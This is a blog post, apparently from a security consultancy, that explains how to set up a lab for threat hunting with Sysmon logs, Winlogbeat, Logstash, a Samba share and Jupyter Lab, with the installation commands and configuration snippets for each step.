Hunting evil with Sysmon events and Jupyter Notebooks (Part 1 - Setup)

This post is the first of a series where we will explore the capabilities of Sysmon and how we can leverage this tool together with Jupyter notebooks and big data Python libraries like Pandas to hunt for indicators of compromise or behaviors which are the result of the activity of advanced adversaries in a network. In this post, we will provide some background information about Sysmon and the steps needed to install and configure a Sysmon hunt environment for research and development purposes.

About Sysmon

Sysmon includes the following capabilities:

  • Logs process creation with full command line for both current and parent processes.
  • Records the hash of process image files using SHA1 (the default), MD5, SHA256, or IMPHASH.
  • Multiple hashes can be used at the same time.
  • Includes a process GUID in process create events to allow for correlation of events even when Windows reuses process IDs.
  • Include a session GUID in each event to allow correlation of events on the same logon session.
  • Logs loading of drivers or DLLs with their signatures and hashes.
  • Logs open for raw read access of disks and volumes
  • Optionally logs network connections, including each connection’s source process, IP addresses, port numbers, hostnames, and port names.
  • Detects changes in file creation time to understand when a file was really created. Modification of file create timestamps is a technique commonly used by malware to cover its tracks.
  • Automatically reload configuration if changed in the registry.
  • Rule filtering to include or exclude certain events dynamically.
  • Generates events from early in the boot process to capture activity made by even sophisticated kernel-mode malware.

More information about Sysmon it’s available on Microsoft’s website.

Sysmon provides good theoretical coverage of the MITRE ATT&CK matrix, as shown in the diagram below.

Developed by @olafhartong (Follow him on Twitter)

It is possible to enhance further the coverage with additional attack correlation logic targeting specific Sysmon events. For example, using the Sysmon event ID 1 (Process creation), we can correlate different anomalies in the command line used by the system’s running processes. Some examples are the execution of PowerShell commands with suspicious command line parameters or obfuscation and the execution of internal Windows commands with specific parameters to gather system information.

Installation of the hunting environment

Requirements

  • VMWare Workstation or VirtualBox
  • A newly installed and updated Ubuntu 18.04 virtual machine
  • Enabled WSL and Ubuntu 18.04 environment installed

In our examples, we use VMWare Workstation as a virtualization engine, but theoretically, everything described in this article should work using VirtualBox as well.

Logstash server configuration

  1. Configure Logstash
  • Create a folder to store the Sysmon logs received by Logstash

$ sudo mkdir /var/sysmon-logs

$ sudo chmod 777 /var/sysmon-logs

  • Create a new Logstash configuration file for Winlogbeat

$ sudo vim /etc/logstash/conf.d/winlogbeat.conf

Insert the lines below:

input {
beats {
port => 5044
}
}

output {
if [agent][type] == “winlogbeat” {
file {
path => “/var/sysmon-logs/winlogbeat-%{+YYYY-MM-dd-HH}.json”
}
}

With this configuration, Logstash will create local log files that will be rotated on an hourly basis.

  • Restart the Logstash service

$ sudo systemctl restart logstash

2. Create an anonymous share to access the Sysmon logs stored by Logstash

  • Install samba-server

$ sudo apt install tasksel

$ sudo tasksel install samba-server

  • Next, add the following lines into the Samba configuration file using your favorite text editor

$ sudo nano /etc/samba/smb.conf

[sysmon-logs]
comment = Public anonymous share for Sysmon logs
path = /var/sysmon-logs
browsable =yes
create mask = 0660
directory mask = 0771
writable = yes
guest ok = yes

  • Restart the Samba service

$ sudo systemctl restart smbd

  • Test the access to the new share

$ smbclient -L localhost

The output should look similar to the one below.

3. Map the new share as a drive in your host system

Note: In this example, we are using Windows 10 as the host system.

  • Map the share in a new drive

Use the IP address allocated to your own Logstash virtual server. Use the credentials below to connect:

Username: anonymous

Password: anonymous

Install Sysmon and Winlogbeat

  1. Install Sysmon
  • Download Sysmon from here and extract the contents of the zip file
  • Download the SwiftOnSecurity configuration file for Sysmon from here and save it in the same folder as Sysmon
  • Open a Windows command prompt as admin and execute the command below to install Sysmon

PS C:\> Sysmon64.exe -accepteula -i sysmonconfig-export.xml

  1. Install Winlogbeat
  • Download the Winlogbeat zip file from the downloads page.
  • Extract the contents into C:\Program Files.
  • Rename the winlogbeat-<version> directory to Winlogbeat.
  • Open a PowerShell prompt as an Administrator (right-click on the PowerShell icon and select Run As Administrator).
  • From the PowerShell prompt, run the following commands to install the service.

PS C:\Users\Administrator> cd 'C:\Program Files\Winlogbeat'

PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1

  • Configure Winlogbeat

Edit the file C:\Program Files\Winlogbeat\winlogbeat.yml and update it according to the pictures below.

  • Start the Winlogbeat service

PS C:\Program Files\Winlogbeat> Start-Service winlogbeat

Install Jupyter Lab

Open a new Ubuntu WSL console and follow the steps below to install a new Jupyter Lab environment.

  • Create a new Python 3 virtual environment for Jupyter

$ cd ~

$ virtualenv -p python3.6 jupyter

  • Activate the new environment

$ source jupyter/bin/activate

  • Install all the required Python libraries

(jupyter)$ pip3 install jupyterlab pandas plotly scipy sklearn matplotlib

  • Generate Jupyter configuration file

(jupyter)$ jupyter notebook --generate-config

  • Edit the config file and set the password for Jupyter

(jupyter)$ vim /home/[USER]/.jupyter/jupyter_notebook_config.py

## Hashed password to use for web authentication.
#
# To generate, type in a python/IPython shell:
#
# from notebook.auth import passwd; passwd()
#
# The string should be of the form type:salt:hashed-password.
c.NotebookApp.password = u’HASHED PASSWORD’

- Install Jupyter Lab extension for data visualization using Plotly

(jupyter)$ jupyter labextension install jupyterlab-plotly@4.8.1

(jupyter)$ jupyter labextension install plotlywidget@4.8.1

  • Start Jupyter

(jupyter)$ jupyter lab

  • Open a new browser window and navigate to the URL below to access Jupyter

http://localhost:8888/

  • Login to the web console using the password created previously

If the installation went well you should be able to access the Jupyter console as shown below.

Next steps

You can follow our work in the Cyber Threat Hunting space on our company website. You can also request more information about our services using our online contact form or write us at sales@falconguard.cz.

Leonardo is a recognized expert and leader in the field of cybersecurity, entrepreneur, and founder at Falcon Guard (https://falconguard.cz)

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store